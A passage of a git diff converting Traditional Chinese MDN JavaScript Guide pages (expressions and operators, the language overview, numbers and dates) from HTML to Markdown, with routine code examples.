下列範例是一個在點擊時甚麼都不做的超連結。 當使用者點擊連結時, void(0)
被解析為 未定義, 而甚麼都不會發生。
<a href="javascript:void(0)">點擊這裡,甚麼都不會發生</a> -- -
下列範例是一個在使用者點擊時傳送表單的超連結。
- -<a href="javascript:void(document.form.submit())"> -點擊以送出</a>- -
關係運算子比較兩運算元並基於比較結果回傳布林值。
- -in
in
運算子 在指定性質存在於物件中時回傳 true 。 語法是:
性質名稱 in 物件名稱 -- -
性質名稱 可以是 字串或數字,或是陣列的索引, 且
物件名稱 是物件的名稱。
下列範例示範了 in
運算子的一些用法。
// 陣列 -var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple']; -0 in trees; // 回傳 true -3 in trees; // 回傳 true -6 in trees; // 回傳 false -'bay' in trees; // 回傳 false (你必須指定 索引, - // 而不是 索引所對應的元素) -'length' in trees; // 回傳 true (length 是陣列的性質之一) - -// 內建物件 -'PI' in Math; // 回傳 true -var myString = new String("coral"); -'length' in myString; // 回傳 true - -// 自訂義物件 -var mycar = { make: 'Honda', model: 'Accord', year: 1998 }; -'make' in mycar; // 回傳 true -'model' in mycar; // 回傳 true -- -
instanceof
instanceof
運算子 在 指定物件 具有 指定的物件型態 時回傳 true。 語法是:
物件名稱 instanceof 物件類型 -- -
物件名稱
是用來與 物件類型 比較的物件的名字, 物件類型 是物件的類型, 例如 {{jsxref("Date")}} 或 {{jsxref("Array")}}。
當你需要在程式執行中確認物件的形態時,你可以使用 instanceof
運算子。 例如,當捕捉到例外時, 你可以依照例外的類型來決定用來處理意外的程式碼。
例如,下列程式碼使用 instanceof
來判斷變數 theDay
是不是 Date
類型的物件。 因為 theDay
是 Date
類型的物件, 所以if 陳述中的陳述句會被執行。
var theDay = new Date(1995, 12, 17); -if (theDay instanceof Date) { - // 會被執行的陳述 -} -- -
運算子優先級決定運算子被使用於運算元的先後順序。 你也可以使用括號來強制指定優先級。
- -下列表格列出了運算子的優先級, 從高到低。
- -運算子類型 | -屬於該類別的運算子 | -
---|---|
成員 | -. [] |
-
呼叫/建立 實例 | -() new |
-
反向/增加 | -! ~ - + ++ -- typeof void delete |
-
乘法/除法 | -* / % |
-
加法/減法 | -+ - |
-
位元移動 | -<< >> >>> |
-
關係運算子 | -< <= > >= in instanceof |
-
相等性 | -== != === !== |
-
位元 and | -& |
-
位元 xor | -^ |
-
位元 or | -| |
-
邏輯 and | -&& |
-
邏輯 or | -|| |
-
條件運算子 | -?: |
-
指定運算子 | -= += -= *= /= %= <<= >>= >>>= &= ^= |= |
-
逗點運算子 | -, |
-
這個表格更詳細的版本,解釋了運算子的更多細節和關聯性, 可以在 JavaScript 參考 中被找到。
- -運算式是任何一段可以取得一個值的程式碼。
- -任何合乎語法的運算式都能取得一個值,概念上, 有兩種不同型態的運算式: 有副作用的 (例如: 將一個值指定給一個變數) 以及只為了取得值而解析的運算式。
- -運算式 x = 7
是上述的第一種類型。 這個使用 = 運算子的運算式會將數值 7 賦與給 x。 運算式本身也會被解析為 7。
運算式 3 + 4
是上述的第二種類型。 這個運算式使用 + 運算子把 3 和 4 加起來,而不指定給任何變數。
-
- JavaScript 運算式有下列幾種種類:
JavaScript 基本的關鍵字及運算式。
- -this
this
關鍵字 能取得當前所在物件。 一般而言, this
能取得呼叫處所在的物件。 你可以使用 點 或是 中括號 來取用該物件中的特性:
this['特性名稱'] -this.特性名稱 -- -
以下定義一個叫做 validate
的函式,比較物件中特性 value 與傳入的兩變數
:
function validate(obj, lowval, hival){ - if ((obj.value < lowval) || (obj.value > hival)) - console.log('不可用的值!'); -} -- -
你可以在表單的 onChange
event handler 中呼叫 validate
函式, 並以 this
來傳入表單的元素, 範例如下:
<p>請輸入一介於18 與 99 的數字:</p> -<input type="text" name="age" size=3 onChange="validate(this, 18, 99);"> -- -
分組運算子 ( )
控制了運算子的優先順序。 例如,你可以覆寫先乘除,後加減的優先順序,使其變成先加減,後乘除。
var a = 1; -var b = 2; -var c = 3; - -// 預設運算級 -a + b * c // 7 -// 預設的結果 -a + (b * c) // 7 - -// 現在複寫運算級 -// 變成先進行加法,後乘法了 -(a + b) * c // 9 - -// 結果 -a * c + b * c // 9 -- -
解析是 JavaScript 中的一個實驗性功能, 在未來版本的 ECMAScript 計畫被導入。有兩種不同類型的解析:
- -解析在許多程式語言中都存在,允許你快速地基於現存陣列產生新的陣列,例如:
- -[for (i of [ 1, 2, 3 ]) i*i ]; -// [ 1, 4, 9 ] - -var abc = [ 'A', 'B', 'C' ]; -[for (letters of abc) letters.toLowerCase()]; -// [ 'a', 'b', 'c' ]- -
左側是指定值的對象。
- -new
你可以使用 new
運算子 來建立一個使用者自定義物件或內建物件的實例。 用法如下:
var 物件名稱 = new 物件型態([參數1, 參數2, ..., 參數N]); -- -
super 關鍵字 用於呼叫物件的父物件中的函式。 在使用 類別 來呼叫父類別的建構子時很實用,例如:
- -super([參數]); // 呼叫父物件的建構子. -super.父物件的函式([參數]); -- -
展開運算子能將運算式展開於需要多個參數的地方 (如函式呼叫) 或是需要多個元素 (如陣列字串常數) 的地方。
- -範例: 現在你想要用已存在的一個陣列做為新的一個陣列的一部份,當字串常數不再可用而你必須使用指令式編程,也就是使用,一連串的 push
, splice
, concat
,等等。 展開運算子能讓過程變得更加簡潔:
var parts = ['肩膀', '膝蓋']; -var lyrics = ['頭', ...parts, '和', '腳趾'];- -
相同的,展開運算子也適用於函式呼叫:
- -function f(x, y, z) { } -var args = [0, 1, 2]; -f(...參數);- -
請輸入一介於18 與 99 的數字:
+ +``` + +#### 分組運算子 + +分組運算子 `( )` 控制了運算子的優先順序。 例如,你可以覆寫先乘除,後加減的優先順序,使其變成先加減,後乘除。 + +```js +var a = 1; +var b = 2; +var c = 3; + +// 預設運算級 +a + b * c // 7 +// 預設的結果 +a + (b * c) // 7 + +// 現在複寫運算級 +// 變成先進行加法,後乘法了 +(a + b) * c // 9 + +// 結果 +a * c + b * c // 9 +``` + +#### 解析 + +解析是 JavaScript 中的一個實驗性功能, 在未來版本的 ECMAScript 計畫被導入。有兩種不同類型的解析: + +- {{experimental_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}} + - : 陣列解析。 +- {{experimental_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}} + - : 產生器解析。 + +解析在許多程式語言中都存在,允許你快速地基於現存陣列產生新的陣列,例如: + +```js +[for (i of [ 1, 2, 3 ]) i*i ]; +// [ 1, 4, 9 ] + +var abc = [ 'A', 'B', 'C' ]; +[for (letters of abc) letters.toLowerCase()]; +// [ 'a', 'b', 'c' ] +``` + +### 左側運算式 + +左側是指定值的對象。 + +#### `new` + +你可以使用 [`new` 運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators/new) 來建立一個使用者自定義物件或內建物件的實例。 用法如下: + +```js +var 物件名稱 = new 物件型態([參數1, 參數2, ..., 參數N]); +``` + +#### super + +[super 關鍵字](/zh-TW/docs/Web/JavaScript/Reference/Operators/super) 用於呼叫物件的父物件中的函式。 在使用 [類別](/zh-TW/docs/Web/JavaScript/Reference/Classes) 來呼叫父類別的建構子時很實用,例如: + +```plain +super([參數]); // 呼叫父物件的建構子. +super.父物件的函式([參數]); +``` + +#### 展開運算子 + +[展開運算子](/zh-TW/docs/Web/JavaScript/Reference/Operators/Spread_operator)能將運算式展開於需要多個參數的地方 (如函式呼叫) 或是需要多個元素 (如陣列字串常數) 的地方。 + +**範例:** 現在你想要用已存在的一個陣列做為新的一個陣列的一部份,當字串常數不再可用而你必須使用指令式編程,也就是使用,一連串的 `push`, `splice`, `concat`,等等。 展開運算子能讓過程變得更加簡潔: + +```js +var parts = ['肩膀', '膝蓋']; +var lyrics = ['頭', ...parts, '和', '腳趾']; +``` + +相同的,展開運算子也適用於函式呼叫: + +```js +function f(x, y, z) { } +var args = [0, 1, 2]; +f(...參數); +``` + +{{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}} diff --git a/files/zh-tw/web/javascript/guide/introduction/index.html b/files/zh-tw/web/javascript/guide/introduction/index.html deleted file mode 100644 index 9d23ce0e3da717..00000000000000 --- a/files/zh-tw/web/javascript/guide/introduction/index.html +++ /dev/null @@ -1,180 +0,0 @@ ---- -title: JavaScript 概觀 -slug: Web/JavaScript/Guide/Introduction -translation_of: Web/JavaScript/Guide/Introduction ---- -{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}
- -這個章節的內容主要是介紹 JavaScript 和討論一些 JavaScript 的基本概念。
- -本手冊假設您具有以下基本背景:
- -- -
JavaScript 是個跨平台、物件導向、輕小型的腳本語言。作為獨立語言並不實用,而是為了能簡單嵌入其他產品和應用程式(例如:網頁瀏覽器)而設計。JavaScript 若寄宿在主體環境(Host environment)時,可以與環境中的物件 (Object)相連,並以程式控制這些物件。
- -Core JavaScript 包含了物件的核心集合(例如: Array、
Date、
Math
)及語言成份的核心集合(例如:運算子、控制結構、敘述)。在 Core JavaScript 增加額外的物件即可擴充各式各樣的功能,例如:
舉例來說:用戶端的擴充套件允許某個應用程式將元素放置在 HTML 的表單上及對使用者的操作(例如:滑鼠點選、表單輸入、頁面導覽等)做出回應。
- -舉例來說:伺服器端的擴充套件允許某個應用程式和相關的資料庫交換訊息、對一個其他應用程式的呼叫提供連續性的資訊、在伺服器上執行檔案操作。
- -透過 JavaScript 的 LiveConnect 功能,你可以使 Java 和 JavaScript 的程式碼彼此相連。在 JavaScript 的程式碼中,你可以實例化(instantiate)Java 的物件並存取那些物件的公有方法(public methods)及欄位(fields)。在 Java 的程式碼中,你可以存取 JavaScript 的物件、屬性(properties)及方法(methods)。
- -Netscape 公司發明了 JavaScript ,而 JavaScript 的第一次使用正是在 Netscape 自家的瀏覽器上。
- -JavaScript 與 Java 在某些方面非常相似但本質上卻是不同的。 JavaScript 雖然和 Java 類似,卻沒有 Java 的靜態定型(static typing)及強型態確認(strong type checking)特性。 JavaScript 遵從大部份的 Java 表達式語法、命名傳統和基本的流程控制概念,這特性同時也是為何要將 LiveScript 重新命名為 JavaScript 的原因。
- -相較於 Java 由許多類別中的宣告建立的 compile-time 系統,JavaScript 支援一個由少數代表數值(numeric)、布林值(Boolean)、字串(string)的資料類型所構成的執行期函式庫(runtime system)。JavaScript 擁有一個基於原型的物件模型(prototype-based object model)而不是普遍使用的基於類別的物件模型(class-based object model)。基於原型的物件模型提供動態繼承(dynamic inheritance)的功能,意即被繼承的物件可以根據個別的物件而改變。JavaScript 也支援不需任何特殊宣告的函式,函式可以是物件的屬性,如同鬆散型態方法(loosely typed method)那樣執行。
- -JavaScript 和 Java 相比起來,算是一個格式非常自由的語言。你不需要宣告所有的變數、類別(class)、方法,你不需要注意哪些方法是公有(public)或私有(private)或受保護的(protected),你不需要實作介面(interface)。變數、參數及函式回傳的型態並不是顯性型態。
- -Java 是一個為了快速執行與安全型態而設計的基於類別的程式語言(class-based programming language)。安全型態意即你在 Java 中無法將整數丟給一個物件參考,也無法藉由中斷 Java bytecodes 來存取私有的記憶體。 Java 的基於類別模型(class-based model)意思是程式由專門的類別及其方法所組成。Java 的類別繼承(class inheritance)和強型別(strong typing)通常需要嚴謹的耦合對象階級(coupled object hierarchies)。這些需求使得 Java 在程式的撰寫上比 JavaScript 來的複雜。
- -相反的,JavaScript 承襲了如同 HyperTalk 和 dBASE 相同的精神:較小、動態類型。 這些腳本語言因為較簡單的語法、特殊化的功能、較寬鬆的要求等特性,進而提供了許多軟體開發工具(programming tool)給更多更廣大的愛好者。
- -表1.1 - JavaScript 和 Java 比較
- -JavaScript | -Java | -
---|---|
- 物件導向。 - -物件的型態之間無區別。 - -藉由原型機制(prototype mechanism)和屬性(properties)實行繼承。 - -屬性和方法可被動態新增至任何物件。 - |
-
- 類別導向。 - -物件藉由類別階級(class hierarchy)而被分離至類別和所有繼承的實體(instance)中。 - -類別和實體無法動態新增屬性和方法。 - |
-
- 變數資料型態沒有宣告就可使用(動態定型,dynamic typing)。 - |
-
- 變數資料型態必須宣告才可使用(靜態定型,static typing)。 - |
-
無法自動覆寫到硬碟。 | -無法自動覆寫到硬碟。 | -
更多關於 JavaScript 和 Java 的差異比較,請參見 Details of the Object Model 。
- -Netscape 公司發明了 JavaScript ,而 JavaScript 的第一次應用正是在 Netscape 瀏覽器。然而,Netscape 後來和 Ecma International(一個致力於將資訊及通訊系統標準化的歐洲組織,前身為 ECMA - 歐洲計算機製造商協會)合作,開發一個基於 JavaScript 核心並同時兼具標準化與國際化的程式語言,這個經過標準化的 JavaScript 便稱作 ECMAScript ,和 JavaScript 有著相同的應用方式並支援相關標準。各個公司都可以使用這個開放的標準語言去開發 JavaScript 的專案。ECMAScript 標準記載於 ECMA-262 這個規格中。
- -ECMA-262 標準同時也經過 ISO(國際標準化組織)認証,成為 ISO-16262 標準。你可以在 Mozilla 的網站上找到 PDF版本的ECMA-262,但這板本已過期;你也可以在 Ecma International 的網站 找到這個規格。 ECMAScript 規格中並沒有描述已經被 W3C(全球資訊網協會)標準化的文件物件模型(DOM)。文件物件模型定義了 HTML 文件物件(document objects)和腳本之間運作的方式。
- -ECMAScript 規格(ECMA-262)在 Netscape 和 Ecma International 的密切合作下產生。下表描述了 JavaScript 的版本和 ECMAScript 的版本之間的關係。
- -表1.2 - JavaScript 版本及 ECMAScript 版本
- -JavaScript 的版本 | -和 ECMAScript 版本的關係 | -
---|---|
JavaScript 1.1 | -ECMA-262 第1版是基於 JavaScript 1.1 建立的。 | -
JavaScript 1.2 | -
- ECMA-262 在 JavaScript 1.2 發行之際尚未完成。以下是 JavaScript 1.2 並未完全相容於 ECMA-262 第1版的原因: - -
|
-
JavaScript 1.3 | -
- JavaScript 1.3 完全相容於 ECMA-262 第1版。 - JavaScript 1.3 藉由保留所有在 JavaScript 1.2 新增的特性(除了 == 和 != 以外,因為要和 ECMA-262 一致),解決了 JavaScript 1.2 和 ECMA-262 之間的衝突。 |
-
JavaScript 1.4 | -
- JavaScript 1.4 完全相容於 ECMA-262 第1版。 - ECMAScript 第3版規格在 JavaScript 1.4 發行之際尚未完成。 |
-
JavaScript 1.5 | -JavaScript 1.5 完全相容於 ECMA-262 第3版。 | -
備註:ECMA-262 第2版是由已修正錯誤的第1版並加上些微的更動構成。現今由 Ecma International 的 TC39 工作組(TC39 Working Group)所發行的版本是 ECMAScript 5.1版
JavaScript Reference 指出了哪些 JavaScript 的特性是相容於 ECMAScript 的。
- -JavaScript 永遠包含許多非 ECMAScript 規格中的特性;
- -JavaScript 不僅相容於 ECMAScript 更提供了額外的特性。
- -ECMAScript 規格是執行 ECMAScript 所必須的條件,當你想判斷某個 JavaScript 的特性是否在其他 ECMAScript 實作中有被支援時,ECMAScript 規格是非常有用的。如果你打算撰寫 JavaScript 程式碼並在程式碼中使用僅有 ECMAScript 所支援的特性,那你可能需要查閱一下 ECMAScript 規格。
- -ECMAScript 文件並不是為了幫助腳本程式設計師而撰寫,如果想知道撰寫腳本的相關資訊,請參考 JavaScript 使用說明。
- -ECMAScript 規格使用的術語和語法對於 JavaScript 的程式設計師來說可能不是那麼的親切。雖然語言的描述在 ECMAScript 中可能會有所不同,但語言本身的性質仍然是不變的。JavaScript 支援所有在 ECMAScript 規格中被描述到的功能。
- -JavaScript 使用說明對於語言的觀點的描述較適合 JavaScript 的程式設計師。例如:
- -JavaScript 的版本 | +和 ECMAScript 版本的關係 | +
---|---|
JavaScript 1.1 | +ECMA-262 第1版是基於 JavaScript 1.1 建立的。 | +
JavaScript 1.2 | +
+ + ECMA-262 在 JavaScript 1.2 發行之際尚未完成。以下是 JavaScript 1.2 + 並未完全相容於 ECMA-262 第1版的原因: + +
|
+
JavaScript 1.3 | +
+ JavaScript 1.3 完全相容於 ECMA-262 第1版。 + JavaScript 1.3 藉由保留所有在 JavaScript 1.2 新增的特性(除了 == 和 != + 以外,因為要和 ECMA-262 一致),解決了 JavaScript 1.2 和 ECMA-262 + 之間的衝突。 + |
+
JavaScript 1.4 | +
+ JavaScript 1.4 完全相容於 ECMA-262 第1版。 + ECMAScript 第3版規格在 JavaScript 1.4 發行之際尚未完成。 + |
+
JavaScript 1.5 | +JavaScript 1.5 完全相容於 ECMA-262 第3版。 | +
這個章節將介紹如何在 JavaScript 中處理數字與日期。
- -在 JavaScript 中, Number所使用的標準依照 double-precision 64-bit binary format IEEE 754 (i.e. number的區間是 -(2^53 -1) 到 2^53 -1)。整數是沒有特定的類型。
- -此外還可以顯示浮點數,三種符號數值: +
{{jsxref("Infinity")}}, -
{{jsxref("Infinity")}}, and {{jsxref("NaN")}} (not-a-number)。
{{jsxref("BigInt")}} 是Javascript最新的功能,它可以表示一個很大的整數。使用 BigInt需要注意一點
,BigInt
和{{jsxref("Number")}}不能在同一個operation混用還有當用 {{jsxref("Math")}} 物件時不能使用BigInt
。
請參照 JavaScript data types and structures 來取得更多詳細資料。
- -你可以用四種進制表示數字:十進制 (decimal),二進制 (binary),八進制 (octal) 以及十六進制 (hexadecimal)。
- -1234567890 -42 - -// 以零為開頭時要小心: - -0888 // 888 解析為 十進制數值 -0777 // 在 non-strict 模式下將解析成八進制 (等同於十進制的 511) -- -
請注意,十進位數字允許第一個數字設為零(0
)的話,前提是後面接的數字必須要有一個數字大於8(例如輸入0888結果會是888,輸入068結果會是68),不然則會被轉成8進位(例如0777結果會是511,輸入063結果會是51)。
二進制數值以 0 為開頭並跟著一個大寫或小寫的英文字母 「B」 (0b
或 0B
)。如果 0b
後面接著的數字不是 0 或 1,那會丟出 SyntaxError(語法錯誤)
: "Missing binary digits after 0b"。
var FLT_SIGNBIT = 0b10000000000000000000000000000000; // 2147483648 -var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040 -var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607- -
八進制數值以 0 為開頭。如果 0
後面的數字超出 0 到 7 這個範圍,將會被解析成十進制數值。
var n = 0755; // 493 -var m = 0644; // 420 -- -
Strict mode in ECMAScript 5 forbids octal syntax. Octal syntax isn't part of ECMAScript 5, but it's supported in all browsers by prefixing the octal number with a zero: 0644 === 420
and"\045" === "%"
. In ECMAScript 2015, octal numbers are supported if they are prefixed with 0o
, e.g.:
var a = 0o10; // ES2015: 8 -- -
十六進制數值以 0 為開頭並跟著一個大寫或小寫的英文字母 「X」(0x
或 0X
)。如果 0b
後面接著的值超出範圍 (0123456789ABCDEF),那會丟出 SyntaxError(語法錯誤)
:"Identifier starts immediately after numeric literal"。
0xFFFFFFFFFFFFFFFFF // 295147905179352830000 -0x123456789ABCDEF // 81985529216486900 -0XA // 10 -- -
1E3 // 1000 -2e6 // 2000000 -0.1e2 // 10- -
Number
物件The built-in {{jsxref("Number")}} object has properties for numerical constants, such as maximum value, not-a-number, and infinity. You cannot change the values of these properties and you use them as follows:
- -var biggestNum = Number.MAX_VALUE; -var smallestNum = Number.MIN_VALUE; -var infiniteNum = Number.POSITIVE_INFINITY; -var negInfiniteNum = Number.NEGATIVE_INFINITY; -var notANum = Number.NaN; -- -
You always refer to a property of the predefined Number
object as shown above, and not as a property of a Number
object you create yourself.
下面這張表格整理了 Number
物件的屬性
Number
的屬性
屬性 | -描述 | -
---|---|
{{jsxref("Number.MAX_VALUE")}} | -可表示的最大數值 | -
{{jsxref("Number.MIN_VALUE")}} | -可表示的最小數值 | -
{{jsxref("Number.NaN")}} | -表示「非數值」(Not-A-Number)的數值 | -
{{jsxref("Number.NEGATIVE_INFINITY")}} | -Special negative infinite value; returned on overflow | -
{{jsxref("Number.POSITIVE_INFINITY")}} | -Special positive infinite value; returned on overflow | -
{{jsxref("Number.EPSILON")}} | -Difference between one and the smallest value greater than one that can be represented as a {{jsxref("Number")}}. | -
{{jsxref("Number.MIN_SAFE_INTEGER")}} | -可以在 JavaScript 中安全表示的最小數值。 | -
{{jsxref("Number.MAX_SAFE_INTEGER")}} | -可以在 JavaScript 中安全表示的最大數值。 | -
方法 | -描述 | -
---|---|
{{jsxref("Number.parseFloat()")}} | -字串轉換成浮點數。 - 等同於全域函式 {{jsxref("parseFloat", "parseFloat()")}} 。 |
-
{{jsxref("Number.parseInt()")}} | -以指定的基數將字串轉換成整數。 - 等同於全域函式 {{jsxref("parseInt", "parseInt()")}} 。 |
-
{{jsxref("Number.isFinite()")}} | -判定給定的值是不是一個有限數。 | -
{{jsxref("Number.isInteger()")}} | -判定給定的值是不是一個整數 | -
{{jsxref("Number.isNaN()")}} | -Determines whether the passed value is {{jsxref("Global_Objects/NaN", "NaN")}}. More robust version of the original global {{jsxref("Global_Objects/isNaN", "isNaN()")}}. | -
{{jsxref("Number.isSafeInteger()")}} | -Determines whether the provided value is a number that is a safe integer. | -
The Number
prototype provides methods for retrieving information from Number
objects in various formats. The following table summarizes the methods of Number.prototype
.
方法 | -描述 | -
---|---|
{{jsxref("Number.toExponential", "toExponential()")}} | -Returns a string representing the number in exponential notation. | -
{{jsxref("Number.toFixed", "toFixed()")}} | -Returns a string representing the number in fixed-point notation. | -
{{jsxref("Number.toPrecision", "toPrecision()")}} | -Returns a string representing the number to a specified precision in fixed-point notation. | -
Math
物件The built-in {{jsxref("Math")}} object has properties and methods for mathematical constants and functions. For example, the Math
object's PI
property has the value of pi (3.141...), which you would use in an application as
Math.PI -- -
Similarly, standard mathematical functions are methods of Math
. These include trigonometric, logarithmic, exponential, and other functions. For example, if you want to use the trigonometric function sine, you would write
Math.sin(1.56) -- -
Note that all trigonometric methods of Math
take arguments in radians.
The following table summarizes the Math
object's methods.
方法 | -描述 | -
---|---|
{{jsxref("Math.abs", "abs()")}} | -絕對值 | -
{{jsxref("Math.sin", "sin()")}}, {{jsxref("Math.cos", "cos()")}}, {{jsxref("Math.tan", "tan()")}} | -三角函數; 引數以弳度表示 | -
{{jsxref("Math.asin", "asin()")}}, {{jsxref("Math.acos", "acos()")}}, {{jsxref("Math.atan", "atan()")}}, {{jsxref("Math.atan2", "atan2()")}} | -反三角函數; 回傳值以弳度表示 | -
{{jsxref("Math.sinh", "sinh()")}}, {{jsxref("Math.cosh", "cosh()")}}, {{jsxref("Math.tanh", "tanh()")}} | -雙曲函數; 引數以 hyperbolic angle 表示 | -
{{jsxref("Math.asinh", "asinh()")}}, {{jsxref("Math.acosh", "acosh()")}}, {{jsxref("Math.atanh", "atanh()")}} | -反雙曲函數; 回傳值以 hyperbolic angle 表示 | -
- {{jsxref("Math.pow", "pow()")}}, {{jsxref("Math.exp", "exp()")}}, {{jsxref("Math.expm1", "expm1()")}}, {{jsxref("Math.log10", "log10()")}}, {{jsxref("Math.log1p", "log1p()")}}, {{jsxref("Math.log2", "log2()")}} - |
- 指數及對數函式 | -
{{jsxref("Math.floor", "floor()")}}, {{jsxref("Math.ceil", "ceil()")}} | -回傳小於等於/大於等於指定數字的最大/最小整數 | -
{{jsxref("Math.min", "min()")}}, {{jsxref("Math.max", "max()")}} | -Returns lesser or greater (respectively) of comma separated list of numbers arguments | -
{{jsxref("Math.random", "random()")}} | -回傳一個介於 0 到 1 之間的數值 | -
{{jsxref("Math.round", "round()")}}, {{jsxref("Math.fround", "fround()")}}, {{jsxref("Math.trunc", "trunc()")}}, | -Rounding and truncation functions. | -
{{jsxref("Math.sqrt", "sqrt()")}}, {{jsxref("Math.cbrt", "cbrt()")}}, {{jsxref("Math.hypot", "hypot()")}} | -Square root, cube root, Square root of the sum of square arguments. | -
{{jsxref("Math.sign", "sign()")}} | -The sign of a number, indicating whether the number is positive, negative or zero. | -
{{jsxref("Math.clz32", "clz32()")}}, - {{jsxref("Math.imul", "imul()")}} |
- Number of leading zero bits in the 32-bit binary representation. - The result of the C-like 32-bit multiplication of the two arguments. |
-
Unlike many other objects, you never create a Math
object of your own. You always use the built-in Math
object.
Date
物件JavaScript 沒有所謂日期(date)的數據型態(data type)。你可以使用 {{jsxref("Date")}} 物件及其方法去設定日期跟時間來滿足你的需求 。Date
物件有大量的設定取得操作日期的方法(method),但它沒有屬性。
JavaScript 處理日期的方式跟Java類似。這兩個語言有許多一樣的date方法,且都將日期儲存為從1970年1月1號0時0分0秒以來的毫秒數(millisecond)。
- -Date
物件範圍是 -100,000,000 days to 100,000,000 days 以1970年1月1號0時0分0秒UTC為基準。
創建一個Date
物件:
var dateObjectName = new Date([parameters]); -- -
在這裡創建一個名為dateObjectName
的 Date
物件;它可以是一個新的物件或是某個以存在的物件當中的屬性。
Calling Date
without the new
keyword returns a string representing the current date and time.
The parameters
in the preceding syntax can be any of the following:
today = new Date();
.var Xmas95 = new Date("December 25, 1995 13:30:00")
. If you omit hours, minutes, or seconds, the value will be set to zero.var Xmas95 = new Date(1995, 11, 25)
.var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);
.Date
的方法The Date
object methods for handling dates and times fall into these broad categories:
Date
objects.Date
objects.Date
objects.Date
strings.With the "get" and "set" methods you can get and set seconds, minutes, hours, day of the month, day of the week, months, and years separately. There is a getDay
method that returns the day of the week, but no corresponding setDay
method, because the day of the week is set automatically. These methods use integers to represent these values as follows:
舉例,假設你定義了一個日期如下:
- -var Xmas95 = new Date('December 25, 1995'); -- -
那 Xmas95.getMonth()
將會回傳 11, Xmas95.getFullYear()
會回傳 1995。
getTime
及 setTime
這兩個方法對於比較日期有幫助。 The getTime
method returns the number of milliseconds since January 1, 1970, 00:00:00 for a Date
object.
For example, the following code displays the number of days left in the current year:
- -var today = new Date(); -var endYear = new Date(1995, 11, 31, 23, 59, 59, 999); // Set day and month -endYear.setFullYear(today.getFullYear()); // Set year to this year -var msPerDay = 24 * 60 * 60 * 1000; // Number of milliseconds per day -var daysLeft = (endYear.getTime() - today.getTime()) / msPerDay; -var daysLeft = Math.round(daysLeft); //returns days left in the year -- -
This example creates a Date
object named today
that contains today's date. It then creates a Date
object named endYear
and sets the year to the current year. Then, using the number of milliseconds per day, it computes the number of days between today
and endYear
, using getTime
and rounding to a whole number of days.
The parse
method is useful for assigning values from date strings to existing Date
objects. For example, the following code uses parse
and setTime
to assign a date value to the IPOdate
object:
var IPOdate = new Date(); -IPOdate.setTime(Date.parse('Aug 9, 1995')); -- -
下面這個範例,JSClock()
這個函式將會以數位時鐘的格式回傳時間。
function JSClock() { - var time = new Date(); - var hour = time.getHours(); - var minute = time.getMinutes(); - var second = time.getSeconds(); - var temp = '' + ((hour > 12) ? hour - 12 : hour); - if (hour == 0) - temp = '12'; - temp += ((minute < 10) ? ':0' : ':') + minute; - temp += ((second < 10) ? ':0' : ':') + second; - temp += (hour >= 12) ? ' P.M.' : ' A.M.'; - return temp; -} -- -
JSClock
這個函式會先建立一個名為 time
的 Date
物件; 因為沒有提供任何引數,所以會放入目前的日期及時間。接著呼叫 getHours
、 getMinutes
以及 getSeconds
這三個方法將現在的時、分以及秒分別指定給 hour
、 minute
以及 second
這三個變數。
接著的四行指令將會建立一個時間的字串。第一行的指令建立了一個變數 temp
,以條件運算式指定值; 如果 hour
大於 12,那就指定 (hour - 12
),不然會直接指定 hour
, 但如果 hour
等於 0 , 則改為 12。
接著下一行將 minute
加到 temp
中。如果 minute
小於 10, 則會在附加時補上一個零; 不然的話會直接加上冒號及分鐘數。秒數也是以同樣的作法附加到 temp
上。
最後,判斷 hour
是不是大於等於 12 ,如果是就在 temp
加上 "P.M." ,不然就加上 "A.M."。
{{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}}
diff --git a/files/zh-tw/web/javascript/guide/numbers_and_dates/index.md b/files/zh-tw/web/javascript/guide/numbers_and_dates/index.md new file mode 100644 index 00000000000000..4ec3c84857e4b0 --- /dev/null +++ b/files/zh-tw/web/javascript/guide/numbers_and_dates/index.md @@ -0,0 +1,262 @@ +--- +title: 數字與日期 +slug: Web/JavaScript/Guide/Numbers_and_dates +translation_of: Web/JavaScript/Guide/Numbers_and_dates +--- +{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}} + +這個章節將介紹如何在 JavaScript 中處理數字與日期。 + +## 數字(Numbers) + +在 JavaScript 中, Number 所使用的標準依照 [double-precision 64-bit binary format IEEE 754](https://en.wikipedia.org/wiki/Double-precision_floating-point_format) (i.e. number 的區間是 -(2^53 -1) 到 2^53 -1)。**整數是沒有特定的類型**。 + +此外還可以顯示浮點數,三種符號數值: `+`{{jsxref("Infinity")}}, `-`{{jsxref("Infinity")}}, and {{jsxref("NaN")}} (not-a-number)。 + +{{jsxref("BigInt")}} 是 Javascript 最新的功能,它可以表示一個很大的整數。使用 `BigInt需要注意一點`,`BigInt` 和{{jsxref("Number")}}不能在同一個 operation 混用還有當用 {{jsxref("Math")}} 物件時不能使用`BigInt`。 + +請參照 [JavaScript data types and structures](/zh-TW/docs/Web/JavaScript/Data_structures) 來取得更多詳細資料。 + +你可以用四種進制表示數字:十進制 (decimal),二進制 (binary),八進制 (octal) 以及十六進制 (hexadecimal)。 + +### 十進制數值 + +```js +1234567890 +42 + +// 以零為開頭時要小心: + +0888 // 888 解析為 十進制數值 +0777 // 在 non-strict 模式下將解析成八進制 (等同於十進制的 511) +``` + +請注意,十進位數字允許第一個數字設為零(`0`)的話,前提是後面接的數字必須要有一個數字大於 8(例如輸入 0888 結果會是 888,輸入 068 結果會是 68),不然則會被轉成8進位(例如 0777 結果會是 511,輸入 063 結果會是 51)。 + +### 二進制數值 + +二進制數值以 0 為開頭並跟著一個大寫或小寫的英文字母 「B」 (`0b` 或 `0B`)。如果 `0b` 後面接著的數字不是 0 或 1,那會丟出 [`SyntaxError(語法錯誤)`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError): "Missing binary digits after 0b"。 + +```js +var FLT_SIGNBIT = 0b10000000000000000000000000000000; 